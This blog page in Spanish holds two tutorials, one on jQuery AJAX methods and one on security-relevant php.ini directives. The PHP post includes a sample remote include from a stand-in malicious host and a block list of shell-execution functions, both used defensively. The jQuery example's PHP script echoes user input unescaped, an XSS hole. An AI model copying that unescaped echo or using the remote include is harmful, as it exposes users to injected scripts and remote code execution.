Mostrando entradas con la etiqueta parte9. Mostrar todas las entradas
Mostrando entradas con la etiqueta parte9. Mostrar todas las entradas

domingo, 31 de mayo de 2015

[Parte 9]jQuery

jQuery - AJAX

AJAX es un acronimo que significa Asynchronous JavaScript and XML y esta tecnologia nos ayuda a cargar datos desde el servidor sin una actualizacion de la pagina del navegador.

jQuery es una gran herramienta que proporciona un rico conjunto de metodos AJAX para desarrollar aplicaciones web.

Cargando datos simples

Es muy facil cargar todos los datos estaticos o dinamicos utilizando AJAX en jQuery. jQuery proporciona el metodo load() para hacer esto - sintaxis:

[selector].load(URL,[data],[callback]);

Aqui esta la descripcion de todos los parametros:

URL - La URL del recurso del lado del servidor al que se envia la solicitud. Podria ser un CGI, ASP, JSP, PHP o script que genera datos de forma dinamica o fuera de una base de datos. 

data - Este parametro opcional representa un objeto cuyas propiedades son serializadas en parametros adecuadamente codificadas para ser pasado a la peticion. Si se especifica, la solicitud se realiza mediante el metodo POST. Si se omite, se utiliza el metodo GET.

callback - Una funcion callback se invoca despues de que los datos de respuesta se han cargado en el conjunto de elementos. El primer parametro pasado a esta funcion es el texto de respuesta recibido desde el servidor y el segundo parametro es el codigo de estado.

Ejemplo:

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>jQuery</title>
    <script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
    <script type="text/javascript">
    $(document).ready(function(){
        $("#driver").click(function(event){
            $('#stage').load('archivos/resultado.html')
        })
    });
    </script>
</head>
<body>
    <p>De clic en el boton cargar para leer el archivo /archivos/resultado.html</p>
    <div id="stage" style="background-color:#cc0;">Escenario</div>
    <input type="button" id="driver" value="Cargar datos" />
</body>
</html>


Aqui load() inicia una peticion AJAX al archivo archivos/resultado.html especificado. Despues de cargar este archivo, todo el contenido es rellena en el interior del <div> con el id="stage", suponiendo que nuestro archivo HTML tiene una sola linea:

<h1>Este es el resultado</h1>


Obtener datos JSON

Habria una situacion en la que el servidor devolveria una cadena JSON en su peticion. jQuery tiene una funcion de utilidad getJSON() analiza la cadena JSON devuelta y hace que la cadena resultante este disponible para ser llamada en la funcion como primer parametro para tomar nuevas medidas. Sintaxis: Esta el la sencilla sintaxis del metodo getJSON():

[selector].getJSON(URL,[data],[callback]);

Aqui esta la descripcion de todos los parametros:

URL - La URL del recurso del lado del servidor en contacto a traves del metodo GET.

data - Un objeto cuyas propiedades sirven como pares nombre/valor se utilizan para la construccion de una cadena de consulta que se adjunta en la direccion URL, o una cadena de consulta con formato preformateada y codificada.

callback -  Una funcion se invoca cuando la solicitud es completada. El valor de los datos resultantes de la digestion del cuerpo de la respuesta como una cadena JSON es pasada como primer parametro a esta devolucion de llamada y el estado de respuesta como segundo. Ejemplo:

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>jQuery</title>
    <script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
    <script type="text/javascript">
    $(document).ready(function(){
        $("#driver").click(function(event){
            $.getJSON('archivos/resultado.json',function(jd){
                $('#stage').html('<p>Nombre: ' + jd.name + '</p>');
                $('#stage').append('<p>Edad: ' + jd.age + '</p>');
                $('#stage').append('<p>Sexo: ' + jd.sex + '</p>');
            })
        })
    });
    </script>
</head>
<body>
    <p>De clic en el boton cargar para leer el archivo /archivos/resultado.json</p>
    <div id="stage" style="background-color:#cc0;">Escenario</div>
    <input type="button" id="driver" value="Cargar datos" />
</body>
</html>


Aqui el metodo de utilidad getJSON() inicia una peticion AJAX al archivo resultado.json especificado. Despues de cargar este archivo, todo el contenido se pasa a la funcion callback que finalmente se rellena en el interior del <div> con el id="stage". Suponiendo que nuestro archivo resultado.json contiene lo siguiente:

{
"name": "arthusu",
"age" : "21",
"sex": "Masculino"
}


Pasar los datos al servidor

Muchas veces se recogen el usuario y contraseña que se pasan al servidor para su posterior procesamiento. Usando jQuery AJAX hace que sea demasiado facil pasar los datos recogidos en el servidor usando el parametro data de cualquier metodo AJAX disponible. Ejemplo: Este ejemplo demuestra como a traves de un input se ingresa el nombre de usuario y es enviado a un script del servidor web que envia el resultado de regreso y es impreso.

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>jQuery</title>
    <script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
    <script type="text/javascript">
    $(document).ready(function(){
        $("#driver").click(function(event){
            var name = $("#name").val();
            $("#stage").load('archivos/resultado.php',{"name":name});
        })
    });
    </script>
</head>
<body>
    <p>Escriba su nombre y de clic en el boton:</p>
    <input type="text" id="name" size="40" /><br />
    <div id="stage" style="background-color:#cc0;">
        Etapa:
    </div>
    <input type="button" id="driver" value="Mostrar Resultado" />
</body>
</html>


Aqui esta el codigo escrito en resultado.php:

<?php
    if($_REQUEST['name']){
        $name = $_REQUEST['name'];
        echo "Bievenido " . $name;
    }
?>


Ahora puede introducir cualquier texto en el campo de entrada dado y luego hacer clic en el boton "Mostrar Resultado" para ver lo que se ha introducido en el campo de entrada.

Metodos jQuery AJAX

Ustedes han visto el concepto basico de AJAX usando jQuery. La siguiente tabla abajo enumera todos los metodos importantes jQuery AJAX que se puede utilizar en funcion de su necesidad de programacion.



+-------------------------------------------+--------------------------------------------------------------------------------------+
| Metodos                                   | Descripcion                                                                          |
+-------------------------------------------+--------------------------------------------------------------------------------------+
| jQuery.ajax(options)                      | Carga una pagina remota mediante una peticion HTTP.                                  |
+-------------------------------------------+--------------------------------------------------------------------------------------+
| jQuery.ajaxSetup(options)                 | Ajusta las peticiones globales de peticiones AJAX.                                   |
+-------------------------------------------+--------------------------------------------------------------------------------------+
| jQuery.get(url,[data],[callback],[type])  | Carga una pagina remota mediante una peticion HTTP GET.                              |
+-------------------------------------------+--------------------------------------------------------------------------------------+
| jQuery.getJSON(url,[data],[callback])     | Carga datos JSON utilizando una peticion HTTP GET.                                   |
+-------------------------------------------+--------------------------------------------------------------------------------------+
| jQuery.getScript(url,[callback])          | Carga y ejecuta un archivo javascript utilizando una peticion HTTP GET.              |
+-------------------------------------------+--------------------------------------------------------------------------------------+
| jQuery.post(url,[data],[callback],[type]) | Carga una pagina remota mediante una solicitud HTTP POST.                            |
+-------------------------------------------+--------------------------------------------------------------------------------------+
| load(url,[data],[callback])               | Carga el HTML desde un archivo remoto y lo inyecta dentro del DOM.                   |
+-------------------------------------------+--------------------------------------------------------------------------------------+
| serialize()                               | Serializa un conjunto de elementos de entrada en una cadena de datos.                |
+-------------------------------------------+--------------------------------------------------------------------------------------+
| serializeArray()                          | Serializa todos los formularios y elementos del forumario como el metodo serialize() |
|                                           | pero devuelve una estructura de datos JSON para que trabaje con ellos.               |
+-------------------------------------------+--------------------------------------------------------------------------------------+


Eventos de jQuery AJAX

Puede llamar a varios metodos de jQuery durante el ciclo de vida de progreso de llamada AJAX. Basado en diferentes eventos/etapas, los siguientes metodos estan disponibles:


+------------------------+----------------------------------------------------------------------------------------------------+
| Metodo                 | Descripcion                                                                                        |
+------------------------+----------------------------------------------------------------------------------------------------+
| ajaxComplete(callback) | Fija una funcion para ejecutarse cada vez que se finalize una peticion AJAX.                       |
+------------------------+----------------------------------------------------------------------------------------------------+
| ajaxStart(callback)    | Fija una funcion para ejecutarse cada vez que inicia una peticion AJAX y no hay ya ninguno activo. |
+------------------------+----------------------------------------------------------------------------------------------------+
| ajaxError(callback)    | Fija una funcion a ejecutar cuando falla una peticion AJAX.                                        |
+------------------------+----------------------------------------------------------------------------------------------------+
| ajaxSend(callback)     | Fija una funcion para ser ejecutada antes de enviar una peticion AJAX.                             |
+------------------------+----------------------------------------------------------------------------------------------------+
| ajaxStop(callback)     | Fija una funcion que se ejecuta cada vez que han terminado todas las peticiones AJAX.              |
+------------------------+----------------------------------------------------------------------------------------------------+
| ajaxSuccess(callback)  | Fija una funcion para ejecutarse cada vez que una peticion AJAX finaliza correctamente.            |
+------------------------+----------------------------------------------------------------------------------------------------+

Este texto fue sacado desde tutorialspoint solo es una traduccion, espero que les sea de utilidad.

miércoles, 9 de abril de 2014

[Parte 9] Seguridad en PHP

Directivas de configuracion

Aunque estamos hablando sobre la seguridad en PHP, hay cosas como las configuraciones de PHP con la que todo programador debe estar familiarizado, tenga en cuenta que estas configuraciones pueden afectar el codigo que escriba, de manera que no se vera igual en otro servidor donde no tenga la misma configuracion.

Para saber donde se encuentra nuestro archivo de configuracion podemos usar la funcion phpinfo() la cual nos muestra informacion sobre la configuracion de php:

 <?php
 phpinfo();?>

Cuando nos arroja el contenido de las configuraciones de php podemos observar:


allow_url_fopen

Como se mostraba en la parte 6 de seguridad en php con la directiva allow_url_fopen podemos hacer referencia a archivos remotos como si fuesen locales...




 <?php
 $contenido = file_get_contents('http://ejemplo.com/xss.html');?>


Tambien en la parte 5 de seguridad en PHP vimos como podia ser peligroso al usar include o require:


 <?php
 include 'http://maligno.ejemplo.com/maligno.inc';?>

Es por eso que se recomienda deshabilitar la directiva allow_url_fopen a menos que su aplicacion requiera el uso de ella.

disable_functions

La directiva disable_functions es util para poder garantizar que alguna funcion peligrosa no pueda ser usada, un ejemplo de funciones que no te gustaria utilizar podria ser el siguiente:

disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Aunque es mejor seleccionar las funciones que tu pienses que no necesiten estar activas.


display_errors

Esta directiva muestra los errores que puede contener nuestra aplicacion, aunque en forma de desarrollo es una buena alternativa, ya que nos deja ver en que estamos equivocados, en produccion es un error grave, ya que les estamos dando informacion a cualquier usuario que pueda ver nuestro script PHP, es por eso que se recomienda desactivar en modo de produccion.


enable_dl

Esta directiva se utiliza para activar o desactivar la funcion dl() la cual permite cargar una extension de PHP en tiempo de ejecucion. 



Usando la funcion dl() podemos eludir las restricciones de open_basedir y debe ser desactivada si su aplicacion lo requiere.



error_reporting

Muchas de las vulnerabilidades de seguridad son de la utilizacion de variables no inicializadas o de practicas de programacion descuidada. Es por eso que se recomienda activar error_reporting en E_ALL por lo menos, para que PHP nos informe sobre ello.


file_uploads

Esta directiva determina si se permite o no la carga de archivos, si la aplicacion no necesita aceptar carga de archivos es mejor desactivar esta directiva. 


log_errors

Si esta activado registra todos lo errores y los guarda en el archivo indicado en la directiva error_log.
Esto es muy util ya que podemos llevar un historial de errores de nuestra aplicacion, cuando display_error esta desactivado lo que permite log_errors es sumamente de suma importancia por que de lo contrario no se le avisa sobre ningun error en su aplicacion.
Se recomienda que log_errors se mantenga activado.


magic_quotes_gpc


Esta directiva escapa de forma automatica todos los caracteres que contengan ', ", \ y NULL por los metodos POST, GET y COOKIE.
Es lo mismo que usar la funcion addslashes().
Hay dos razones por la que no debes tener activada esta directiva, las cuales son:

1.- Añade complejidad al filtrado de entrada.
2.- No esta utilizando funciones nativas para escapar los datos a su base de datos.

Esta funcion se recomienda tener desactivada.


memory_limit

Establece el maximo de memoria en bytes que un script puede consumir. Se recomienda usar 8M. La directiva memory_limit solo esta disponible cuando PHP se compilo usando --enable-memory-limit.


open_basedir

La directiva open_basedir limita los archivos que pueden ser abiertos por PHP en un directorio especifico. Cuando un script intenta acceder al sistema de ficheros, por ejemplo, usando include() o fopen(), se comprueba la ubicacion del fichero. Cuando el fichero esta fuera del arbol del directorio especificado, PHP rechazara acceder a el.

open_basedir = /ruta/para

Asegurese de que la directiva enable_dl este desactivada, de lo contrario las restricciones de open_basedir  pueden ser evitadas.

register_globals

Para mas informacion sobre esta directiva se explica en la parte 1 de seguridad en php: http://www.arthusu.com.mx/2014/02/parte-1-seguridad-en-php.html


safe_mode

Para mas informacion sobre esta directiva se explica en la parte 8 de seguridad en php: http://www.arthusu.com.mx/2014/04/parte-8-seguridad-en-php.html



Referencias:

* Essential PHP Security
* PHP documentacion oficial
* PHPsec
* Cyberciti